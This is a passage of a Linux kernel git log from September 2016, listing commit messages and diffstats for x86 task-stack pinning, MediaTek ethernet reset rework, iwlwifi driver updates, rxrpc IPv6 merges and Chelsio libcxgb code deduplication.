Signed-off-by: Ingo Molnar arch/x86/kernel/process.c | 22 +++++++++++++++------- 1 file changed, 15 insertions(+), 7 deletions(-) commit 1959a60182f48879635812a03a99c02231ea8677 Author: Andy Lutomirski Date: Thu Sep 15 22:45:45 2016 -0700 x86/dumpstack: Pin the target stack when dumping it Specifically, pin the stack in save_stack_trace_tsk() and show_trace_log_lvl(). This will prevent a crash if the target task dies before or while dumping its stack once we start freeing task stacks early. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/cf0082cde65d1941a996d026f2b2cdbfaca17bfa.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/kernel/dumpstack_32.c | 5 +++++ arch/x86/kernel/dumpstack_64.c | 5 +++++ arch/x86/kernel/stacktrace.c | 5 +++++ 3 files changed, 15 insertions(+) commit 23196f2e5f5d810578a772785807dcdc2b9fdce9 Author: Oleg Nesterov Date: Thu Sep 15 22:45:44 2016 -0700 kthread: Pin the stack via try_get_task_stack()/put_task_stack() in to_live_kthread() function get_task_struct(tsk) no longer pins tsk->stack so all users of to_live_kthread() should do try_get_task_stack/put_task_stack to protect "struct kthread" which lives on kthread's stack. TODO: Kill to_live_kthread(), perhaps we can even kill "struct kthread" too, and rework kthread_stop(), it can use task_work_add() to sync with the exiting kernel thread. Message-Id: <20160629180357.GA7178@redhat.com> Signed-off-by: Oleg Nesterov Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/cb9b16bbc19d4aea4507ab0552e4644c1211d130.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar kernel/kthread.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit c6c314a613cd7d03fb97713e0d642b493de42e69 Author: Andy Lutomirski Date: Thu Sep 15 22:45:43 2016 -0700 sched/core: Add try_get_task_stack() and put_task_stack() There are a few places in the kernel that access stack memory belonging to a different task. Before we can start freeing task stacks before the task_struct is freed, we need a way for those code paths to pin the stack. Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/17a434f50ad3d77000104f21666575e10a9c1fbd.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar include/linux/sched.h | 16 ++++++++++++++++ init/Kconfig | 3 +++ 2 files changed, 19 insertions(+) commit ff0071c03684485495e06f3936399eb9c93141a6 Author: Andy Lutomirski Date: Thu Sep 15 22:45:42 2016 -0700 x86/entry/64: Fix a minor comment rebase error When I rebased my thread_info changes onto Brian's switch_to() changes, I carefully checked that I fixed up all the code correctly, but I missed a comment :( Signed-off-by: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Jann Horn Cc: Josh Poimboeuf Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Fixes: 15f4eae70d36 ("x86: Move thread_info into task_struct") Link: http://lkml.kernel.org/r/089fe1e1cbe8b258b064fccbb1a5a5fd23861031.1474003868.git.luto@kernel.org Signed-off-by: Ingo Molnar arch/x86/entry/entry_64.S | 1 - 1 file changed, 1 deletion(-) commit 5271d002709e8ca27232ab031f35e0df1d0fe4ed Author: Javier Martinez Canillas Date: Thu Sep 8 11:26:01 2016 -0400 ARM: dts: s5p: Add missing unit name to memory nodes for S5PV210 boards This patch fixes the following DTC warnings: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/s5pv210-aquila.dts | 2 +- arch/arm/boot/dts/s5pv210-goni.dts | 2 +- arch/arm/boot/dts/s5pv210-smdkc110.dts | 2 +- arch/arm/boot/dts/s5pv210-smdkv210.dts | 2 +- arch/arm/boot/dts/s5pv210-torbreck.dts | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) commit 80555b6f7f8bdc370585c024601bec65ff260852 Author: Javier Martinez Canillas Date: Thu Sep 8 11:26:00 2016 -0400 ARM: dts: s5p: Remove skeleton.dtsi inclusion for S5PV210 The skeleton.dtsi file was removed in ARM64 for different reasons as explained in commit ("3ebee5a2e141 arm64: dts: kill skeleton.dtsi"). These also applies to ARM and it will also allow to get rid of the following DTC warnings in the future: "Node /memory has a reg or ranges property, but no unit name" Signed-off-by: Javier Martinez Canillas Signed-off-by: Krzysztof Kozlowski arch/arm/boot/dts/s5pv210.dtsi | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 2d8fbcd13ea1d0be3a7ea5f20c3a5b44b592e79c Merge: 024c7e3 d74b62b Author: Ingo Molnar Date: Fri Sep 16 09:08:43 2016 +0200 Merge branch 'for-mingo' of git://git.kernel.org/pub/scm/linux/kernel/git/paulmck/linux-rcu into core/rcu Pull RCU changes from Paul E. McKenney: - Expedited grace-period changes, most notably avoiding having user threads drive expedited grace periods, using a workqueue instead. - Miscellaneous fixes, including a performance fix for lists that was sent with the lists modifications (second URL below). - CPU hotplug updates, most notably providing exact CPU-online tracking for RCU. This will in turn allow removal of the checks supporting RCU's prior heuristic that was based on the assumption that CPUs would take no longer than one jiffy to come online. - Torture-test updates. - Documentation updates. Signed-off-by: Ingo Molnar commit eeb7df270f1c4629b52fc1f98035fe9e7fe63df2 Author: Kishon Vijay Abraham I Date: Fri Sep 16 12:19:07 2016 +0530 include: extcon: Fix compilation error caused because of incomplete merge Fix the following compilation error caused due to incomplete merge. This is observed if CONFIG_EXTCON is not set. In file included from ./include/linux/mfd/palmas.h:23:0, from drivers/input/misc/palmas-pwrbutton.c:22: ./include/linux/extcon.h: In function ‘extcon_sync’: ./include/linux/extcon.h:361:1: error: expected declaration specifiers before ‘<<’ token ./include/linux/extcon.h:370:1: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘{’ token ./include/linux/extcon.h:376:1: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘>>’ token ./include/linux/extcon.h:381:1: error: expected declaration specifiers before ‘<<’ token ./include/linux/extcon.h:390:1: error: expected declaration specifiers or ‘...’ before ‘==’ token ./include/linux/extcon.h:476:11: warning: ‘struct extcon_specific_cable_nb’ declared inside parameter list [enabled by default] ./include/linux/extcon.h:476:11: warning: its scope is only this definition or declaration, which is probably not what you want [enabled by default] ./include/linux/extcon.h:474:19: error: storage class specified for parameter ‘extcon_register_interest’ ./include/linux/extcon.h:474:19: warning: parameter ‘extcon_register_interest’ declared ‘inline’ [enabled by default] ./include/linux/extcon.h:477:1: warning: ‘always_inline’ attribute ignored [-Wattributes] ./include/linux/extcon.h:474:19: error: ‘no_instrument_function’ attribute applies only to functions ./include/linux/extcon.h:477:1: error: expected ‘;’, ‘,’ or ‘)’ before ‘{’ token Signed-off-by: Kishon Vijay Abraham I Signed-off-by: Greg Kroah-Hartman include/linux/extcon.h | 29 ----------------------------- 1 file changed, 29 deletions(-) commit 12496aea0887fc067ad9ba0aa28798317f47a1e0 Author: Jun Nie Date: Tue Sep 13 09:42:04 2016 +0800 arm64: add ZTE ZX SoC family This patch introduces ARCH_ZX to add the support of the ZTE ZX SoC family for the arm64 architecture. Signed-off-by: Jun Nie Signed-off-by: Shawn Guo arch/arm64/Kconfig.platforms | 5 +++++ 1 file changed, 5 insertions(+) commit ba1f4d81707ab30dd342024dfa2cf50bb8003ece Author: Jun Nie Date: Tue Sep 13 09:42:06 2016 +0800 arm64: defconfig: enable ZTE ZX related config This patch enables the configuration for the ZTE ZX family. Signed-off-by: Jun Nie Signed-off-by: Shawn Guo arch/arm64/configs/defconfig | 1 + 1 file changed, 1 insertion(+) commit bf0a6dae9d2741a9827774cdcfd5fca436bedd23 Merge: 364eac0 dce6fa4 Author: David S. Miller Date: Fri Sep 16 02:23:06 2016 -0400 Merge branch 'mediatek-reset-flow' Sean Wang says: ==================== mediatek: add enhancement into the existing reset flow Current driver only resets DMA used by descriptor rings which can't guarantee it can recover all various kinds of fatal errors, so the patch 1) tries to reset the underlying hardware resource from scratch on Mediatek SoC required for ethernet running. 2) refactors code in order to the reusability of existing code. 3) considers handling for race condition between the reset flow and callbacks registered into core driver called about hardware accessing. 4) introduces power domain usage to hardware setup which leads to have cleanly and completely restore to the state as the initial. Changes since v1: - fix the build error with module built causing undefined symbol for pinctrl_bind_pins, so using pinctrl_select_state instead accomplishes the pin mux setup during the reset process. ==================== Reviewed-by: Steve Wise Signed-off-by: David S. Miller commit dce6fa42199d493596315cddc0b4e7ac1d57475b Author: Sean Wang Date: Wed Sep 14 23:13:21 2016 +0800 net: ethernet: mediatek: avoid race condition during the reset process add the protection of the race condition between the reset process and hardware access happening on the related callbacks. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 36 +++++++++++++++++++++++++++++ drivers/net/ethernet/mediatek/mtk_eth_soc.h | 3 ++- 2 files changed, 38 insertions(+), 1 deletion(-) commit 2a8307aab373684e8c1067695310db4438621868 Author: Sean Wang Date: Wed Sep 14 23:13:20 2016 +0800 net: ethernet: mediatek: add more resets for internal ethernet circuit block struct mtk_eth has already contained struct regmap ethsys pointer to the address range of the internal circuit reset, so we reuse it to reset more internal blocks on ethernet hardware such as packet processing engine (PPE) and frame engine (FE) instead of rstc which deals with FE only. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 27 +++++++++++++++------------ drivers/net/ethernet/mediatek/mtk_eth_soc.h | 6 +++++- 2 files changed, 20 insertions(+), 13 deletions(-) commit 9ea4d311509fc11128a464d86745beeafd575051 Author: Sean Wang Date: Wed Sep 14 23:13:19 2016 +0800 net: ethernet: mediatek: add the whole ethernet reset into the reset process 1) original driver only resets DMA used by descriptor rings which can't guarantee it can recover all various kinds of fatal errors, so the patch tries to reset the underlying hardware resource from scratch on Mediatek SoC required for ethernet running, including power, pin mux control, clock and internal circuits on the ethernet in order to restore into the initial state which the rebooted machine gives. 2) add state variable inside structure mtk_eth to help distinguish mtk_hw_init is called between the initialization during boot time or re-initialization during the reset process. 3) add ge_mode variable inside structure mtk_mac for restoring the interface mode of the current setup for the target MAC. 4) remove __init attribute from mtk_hw_init definition Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 51 ++++++++++++++++++++++++----- drivers/net/ethernet/mediatek/mtk_eth_soc.h | 8 +++++ 2 files changed, 51 insertions(+), 8 deletions(-) commit 26a2ad8a5418525d21f06083e65b10c932633209 Author: Sean Wang Date: Wed Sep 14 23:13:18 2016 +0800 net: ethernet: mediatek: add controlling power domain the ethernet belongs to introduce power domain control which the digital circuit of the ethernet belongs to inside the flow of hardware initialization and deinitialization which helps the entire ethernet hardware block could restart cleanly and completely as being back to the initial state when the whole machine reboot. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 7 +++++++ 1 file changed, 7 insertions(+) commit 8a8a9e89f801ce5d3d1d57ac48db678caf072147 Author: Sean Wang Date: Wed Sep 14 23:13:17 2016 +0800 net: ethernet: mediatek: cleanup error path inside mtk_hw_init This cleans up the error path inside mtk_hw_init call, causing it able to exit appropriately when something fails and also includes refactoring mtk_cleanup call to make the partial logic reusable on the error path. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 34 ++++++++++++++++++++++++----- 1 file changed, 29 insertions(+), 5 deletions(-) commit bf253fb72221cdd9dc31009056f269a420f7bbd9 Author: Sean Wang Date: Wed Sep 14 23:13:16 2016 +0800 net: ethernet: mediatek: add mtk_hw_deinit call as the opposite to mtk_hw_init call grouping things related to the deinitialization of what mtk_hw_init call does that help to be reused by the reset process and the error path handling. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 15 +++++++++++---- 1 file changed, 11 insertions(+), 4 deletions(-) commit 85574dbf9d12b393448334897acf13f567bac8f9 Author: Sean Wang Date: Wed Sep 14 23:13:15 2016 +0800 net: ethernet: mediatek: refactoring mtk_hw_init to be reused the existing mtk_hw_init includes hardware and software initialization inside so that it is slightly hard to reuse them for the process of the reset recovery, so some splitting is made here for keeping hardware initializing relevant thing and the else such as IRQ registration and MDIO initialization what are all about to the interface of core driver moved to the other proper place because they have no needs to register IRQ and re-initialize structure again during the reset process. Signed-off-by: Sean Wang Signed-off-by: David S. Miller drivers/net/ethernet/mediatek/mtk_eth_soc.c | 62 ++++++++++++++++------------- 1 file changed, 34 insertions(+), 28 deletions(-) commit fd659f8e75b7f8214b4f323d46248205b4566e10 Author: Johannes Berg Date: Wed Aug 3 13:52:56 2016 +0200 iwlwifi: mvm: tighten BAID range check As pointed out by smatch, checking the BAID for just >= INVALID is a bad idea since only 32 (IWL_MAX_BAID) actually exist. Check the range for that and print invalid ones in the warning. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9b8568360585854c4fe99572e4fbffc736706cfd Author: Johannes Berg Date: Wed Aug 3 13:38:59 2016 +0200 iwlwifi: mvm: remove pointless _bh from spinlock in timer Inside the reorder timer expire function, there's no point in disabling BHs since it is in BH context. Remove that. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/rxmq.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 723d11a4cdf63544a01ae7a474c202a914b67a3b Author: Johannes Berg Date: Wed Aug 3 09:34:39 2016 +0200 iwlwifi: mvm: make RSS RX more robust If the firmware ever decides to send any new/more notifications to the RSS queues, the driver would currently try to interpret those as REPLY_RX_MPDU_CMD and, if the notification was small, access invalid memory. Prevent that by checking for REPLY_RX_MPDU_CMD explicitly which allows ignoring unexpected notifications. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 612da1efc07f28ea9e64402820dd25287ff5233b Author: Sharon Dvir Date: Wed Aug 3 10:55:45 2016 +0300 iwlwifi: unify iwl_get_ucode_image() implementations Avoid multiple implementations. Signed-off-by: Sharon Dvir Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/dvm/ucode.c | 11 +---------- drivers/net/wireless/intel/iwlwifi/iwl-fw.h | 9 +++++++++ drivers/net/wireless/intel/iwlwifi/mvm/fw.c | 13 ++----------- 3 files changed, 12 insertions(+), 21 deletions(-) commit 9fb064df6d57bf09ed3f8f964c8b0789b55206e7 Author: Haim Dreyfuss Date: Tue Jul 26 18:03:07 2016 +0300 iwlwifi: pcie: replace possible_cpus() with online_cpus() in MSIX mode In MSIX mode the number of irq depends on the number of possible cpus existing on the host. This cause to bug in case there are offline cores. Take into account only the online CPUs instead. Also save it in temporary variable. Fixes: commit 2e5d4a8f61dc ("iwlwifi: pcie: Add new configuration to enable MSIX") Signed-off-by: Haim Dreyfuss Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) commit 5fe343978b663e347e2e478e9005ddbf228ca508 Author: Emmanuel Grumbach Date: Tue Jul 26 23:22:01 2016 +0300 iwlwifi: mvm: bump max API to 26 The driver now support version 26 of the firmware APIs. Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-7000.c | 4 ++-- drivers/net/wireless/intel/iwlwifi/iwl-8000.c | 4 ++-- drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 2 +- drivers/net/wireless/intel/iwlwifi/iwl-a000.c | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) commit 06f4b08179fa0590bd3a53e9af16b7197460947f Author: Sara Sharon Date: Thu Jul 21 15:39:29 2016 +0300 iwlwifi: pcie: change indentation of iwl_pcie_set_interrupt_capa() Function is very indented. Go to msi section if needed to avoid it and by that make the code more readable. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 88 ++++++++++++------------- 1 file changed, 44 insertions(+), 44 deletions(-) commit 72c240fed0d1334d6de5c22b0ef16bdf5b542447 Author: Wei Yongjun Date: Tue Jul 12 11:40:57 2016 +0000 iwlwifi: mvm: use setup_timer instead of init_timer and data fields Use setup_timer function instead of initializing timer with the function and data fields Signed-off-by: Wei Yongjun Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit a3e939dfe0a1e12a37ecd08ab89bb6115a490909 Author: Oren Givon Date: Thu Jul 7 09:11:56 2016 +0300 iwlwifi: add the new 8275 series Add a new config struct for the new 8275 series and add the first PCI ID for it. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-8000.c | 11 +++++++++++ drivers/net/wireless/intel/iwlwifi/iwl-config.h | 1 + drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 1 + 3 files changed, 13 insertions(+) commit 89e4ad53ae53e97a81c0bb1feeb40bc69d87d13c Author: Oren Givon Date: Thu Jul 7 10:40:27 2016 +0300 iwlwifi: add the new 9560 series Add a new config struct for the new 9560 series and add the 4 new PCI IDs for it. Signed-off-by: Oren Givon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 11 +++++++++++ drivers/net/wireless/intel/iwlwifi/iwl-config.h | 1 + drivers/net/wireless/intel/iwlwifi/pcie/drv.c | 4 ++++ 3 files changed, 16 insertions(+) commit 7c8d91eb312f30e96db04c710988394242a83565 Author: Haim Dreyfuss Date: Sun Mar 13 17:51:59 2016 +0200 iwlwifi: pcie: Set affinity mask for rx interrupt vectors per cpu In order to utilize the host's CPUs in the most efficient way we bind each rx interrupt vector to each CPU on the host. Each rx interrupt is prioritized to execute only on the designated CPU rather than any CPU. Processor affinity takes advantage of the fact that some remnants of a process that was run on a given processor may remain in that processor's memory state for example, data in the CPU cache after another process is run on that CPU. Scheduling that process to execute on the same processor could result in an efficient use of process by reducing performance-degrading situations such as cache misses and parallel processing. Signed-off-by: Haim Dreyfuss Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 2 ++ drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 32 +++++++++++++++++++++- 2 files changed, 33 insertions(+), 1 deletion(-) commit a0315dea9091d1ebc1534f6129b3fc9942b8ca99 Author: Liad Kaufman Date: Thu Jul 7 13:25:59 2016 +0300 iwlwifi: mvm: free reserved queue on STA removal When a STA is removed in DQA mode, if no traffic went through its reserved queue, the txq continues to be marked as reserved and no STA can use it. Make sure that in such a case the reserved queue is marked as free when the STA is removed. Fixes: commit 24afba7690e4 ("iwlwifi: mvm: support bss dynamic alloc/dealloc of queues") Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 24 +++++++++++++++++++++++- 1 file changed, 23 insertions(+), 1 deletion(-) commit 7585c354637bb003ce612dd22f5047c015545ef4 Author: Liad Kaufman Date: Thu Jul 7 11:00:26 2016 +0300 iwlwifi: mvm: fix pending frames tracking on tx resp In iwl_mvm_rx_tx_cmd_single(), when checking if a given TID is aggregated, the driver doesn't check whether or not the queue itself can be aggregated. For example, a management queue might be marked as aggregated if TID 0 is aggregated on a (different) data queue. Make sure that mgmt frames are sent with TID IWL_TID_NON_QOS, and in this way make sure no mixups of this sort happen. Fixes: commit 24afba7690e4 ("iwlwifi: mvm: support bss dynamic alloc/dealloc of queues") Signed-off-by: Liad Kaufman Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 496d83caf354a84a3159c3b7aee9276640982e56 Author: Haim Dreyfuss Date: Sun Mar 20 17:57:22 2016 +0200 iwlwifi: pcie: Configure shared interrupt vector in MSIX mode In case the OS provides fewer interrupts than requested, different causes will share the same interrupt vector as follow: 1.One interrupt less: non rx causes shared with FBQ. 2.Two interrupts less: non rx causes shared with FBQ and RSS. 3.More than two interrupts: we will use fewer RSS queues. Also make the request depend on the number of online CPUs instead of possible CPUs. Signed-off-by: Haim Dreyfuss Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-csr.h | 2 + drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 21 ++- drivers/net/wireless/intel/iwlwifi/pcie/rx.c | 14 ++ drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 150 ++++++++++++++------- 4 files changed, 132 insertions(+), 55 deletions(-) commit c46e7724bfe9bbff17bc468903a757248b99e4ed Author: Sara Sharon Date: Sun Jul 17 14:24:55 2016 +0300 iwlwifi: mvm: support new BA notification response Support new format. TX response will not be sent anymore, so all needed data is in the BA response. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw-api-tx.h | 79 ++++++++++ drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 159 ++++++++++++++------- 2 files changed, 184 insertions(+), 54 deletions(-) commit bb98ecd4d347f052887518293736ab70c9909b2a Author: Sara Sharon Date: Thu Jul 7 18:17:45 2016 +0300 iwlwifi: pcie: merge iwl_queue and iwl_txq The original intent was to have the general iwl_queue shared between RX and TX queues, but it is not the actual status. Since it is not shared with any struct but iwl_txq, it adds unnecessary complexity. Merge those structs. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 80 ++++----- drivers/net/wireless/intel/iwlwifi/pcie/rx.c | 2 +- drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 30 ++-- drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 197 ++++++++++----------- 4 files changed, 146 insertions(+), 163 deletions(-) commit 4fe10bc6038a6b3f6a025aca8fc9c6c23e046b1e Author: Sara Sharon Date: Mon Jul 4 14:34:26 2016 +0300 iwlwifi: change byte count table for a000 devices Since TFD was enlarged to 256 bytes, the fetch of the TFD itself is very expensive. To make DRAM to SRAM more efficient, bits 12-13 will indicate the number of 64 byte chunks that should be transferred to SRAM. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-fh.h | 7 +++++- drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 36 ++++++++++++++++++++++------ 2 files changed, 35 insertions(+), 8 deletions(-) commit 6983ba6951139c99f0692c94f83d8d75ea559bcc Author: Sara Sharon Date: Sun Jun 26 13:17:56 2016 +0300 iwlwifi: pcie: assign and access a000 TFD & TBs Previous patch introduced the new formats. This patch allocates the new structures and adjusts code accordingly. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 19 ++- drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 16 ++- drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 141 ++++++++++++++------- 3 files changed, 120 insertions(+), 56 deletions(-) commit 8aacf4b73fe87bc8fbe75a83862f411b52b7f272 Author: Sara Sharon Date: Mon Jul 4 15:40:11 2016 +0300 iwlwifi: introduce trans API to get byte count table In future HW the byte count table address will be configured by ucode per queue. Add API to expose the byte count table to the opmode Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-trans.h | 11 +++++++++++ drivers/net/wireless/intel/iwlwifi/pcie/internal.h | 1 + drivers/net/wireless/intel/iwlwifi/pcie/trans.c | 2 ++ drivers/net/wireless/intel/iwlwifi/pcie/tx.c | 8 ++++++++ 4 files changed, 22 insertions(+) commit 364eac0c8b996633aa822b65476ae002a4aacd20 Merge: 39caa8b 75b54cb Author: David S. Miller Date: Fri Sep 16 01:57:19 2016 -0400 Merge tag 'rxrpc-rewrite-20160913-2' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Support IPv6 Here is a set of patches that add IPv6 support. They need to be applied on top of the just-posted miscellaneous fix patches. They are: (1) Make autobinding of an unconnected socket work when sendmsg() is called to initiate a client call. (2) Don't specify the protocol when creating the client socket, but rather take the default instead. (3) Use rxrpc_extract_addr_from_skb() in a couple of places that were doing the same thing manually. This allows the IPv6 address extraction to be done in fewer places. (4) Add IPv6 support. With this, calls can be made to IPv6 servers from userspace AF_RXRPC programs; AFS, however, can't use IPv6 yet as the RPC calls need to be upgradeable. ==================== Reviewed-by: Steve Wise Signed-off-by: David S. Miller commit 39caa8bf6d5fec6a954e76fdb14c9740b8e5d526 Merge: 09f090d 75e4212 Author: David S. Miller Date: Fri Sep 16 01:52:20 2016 -0400 Merge tag 'rxrpc-rewrite-20160913-1' of git://git.kernel.org/pub/scm/linux/kernel/git/dhowells/linux-fs David Howells says: ==================== rxrpc: Miscellaneous fixes Here's a set of miscellaneous fix patches. There are a couple of points of note: (1) There is one non-fix patch that adjusts the call ref tracking tracepoint to make kernel API-held refs on calls more obvious. This is a prerequisite for the patch that fixes prealloc refcounting. (2) The final patch alters how jumbo packets that partially exceed the receive window are handled. Previously, space was being left in the Rx buffer for them, but this significantly hurts performance as the Rx window can't be increased to match the OpenAFS Tx window size. Instead, the excess subpackets are discarded and an EXCEEDS_WINDOW ACK is generated for the first. To avoid the problem of someone trying to run the kernel out of space by feeding the kernel a series of overlapping maximal jumbo packets, we stop allowing jumbo packets on a call if we encounter more than three jumbo packets with duplicate or excessive subpackets. ==================== Reviewed-by: Steve Wise Signed-off-by: David S. Miller commit 2e673c7dc37a51f1c1cdabee22615916cbe0fc27 Author: Jun Nie Date: Tue Sep 13 09:42:05 2016 +0800 arm64: dts: Add ZTE ZX296718 SoC dts and Makefile Add device tree support for ZX296718 SoC and evaluation board based on it. Also document new values. Signed-off-by: Jun Nie Signed-off-by: Shawn Guo Documentation/devicetree/bindings/arm/zte.txt | 24 +++ arch/arm64/boot/dts/Makefile | 1 + arch/arm64/boot/dts/zte/Makefile | 5 + arch/arm64/boot/dts/zte/zx296718-evb.dts | 64 ++++++ arch/arm64/boot/dts/zte/zx296718.dtsi | 292 ++++++++++++++++++++++++++ 5 files changed, 386 insertions(+) commit 09f090d811feda2285eecb4ec52f3f127da7e684 Merge: 2679d04 6e3b6fc Author: David S. Miller Date: Thu Sep 15 20:49:30 2016 -0400 Merge branch 'libcxgb-next' Varun Prakash says: ==================== iw_cxgb4,cxgbit: remove duplicate code This patch series removes duplicate code from iw_cxgb4 and cxgbit by adding common function definitions in libcxgb. Please review. ==================== Reviewed-by: Steve Wise Signed-off-by: David S. Miller commit 6e3b6fc201fe16d3944e2b293e7f47a72f4a56c1 Author: Varun Prakash Date: Tue Sep 13 21:24:06 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_mk_rx_data_ack() Add cxgb_mk_rx_data_ack() to remove duplicate code to form CPL_RX_DATA_ACK hardware command. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 19 ++++++++----------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 15 +++++++++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 16 ++++++---------- 3 files changed, 29 insertions(+), 21 deletions(-) commit 052f4731ed1fd6b132a14c56f49435377a246834 Author: Varun Prakash Date: Tue Sep 13 21:24:05 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_mk_abort_rpl() Add cxgb_mk_abort_rpl() to remove duplicate code to form CPL_ABORT_RPL hardware command. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 10 ++++------ drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 14 ++++++++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 11 ++--------- 3 files changed, 20 insertions(+), 15 deletions(-) commit a7e1a97f88058ed9b6aa054b38167fbe62f59f50 Author: Varun Prakash Date: Tue Sep 13 21:24:04 2016 +0530 libcxgb,iw_cxgb4,cxgbit: add cxgb_mk_abort_req() Add cxgb_mk_abort_req() to remove duplicate code to form CPL_ABORT_REQ hardware command. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 13 ++++--------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 16 ++++++++++++++++ drivers/target/iscsi/cxgbit/cxgbit_cm.c | 13 +++---------- 3 files changed, 23 insertions(+), 19 deletions(-) commit 29fb6f42e7282322672eff8b4ad85918b9dcbae3 Author: Varun Prakash Date: Tue Sep 13 21:24:03 2016 +0530 libcxgb, iw_cxgb4, cxgbit: add cxgb_mk_close_con_req() Add cxgb_mk_close_con_req() to remove duplicate code to form CPL_CLOSE_CON_REQ hardware command. Signed-off-by: Varun Prakash Signed-off-by: David S. Miller drivers/infiniband/hw/cxgb4/cm.c | 13 ++++--------- drivers/net/ethernet/chelsio/libcxgb/libcxgb_cm.h | 16 ++++++++++++++++ 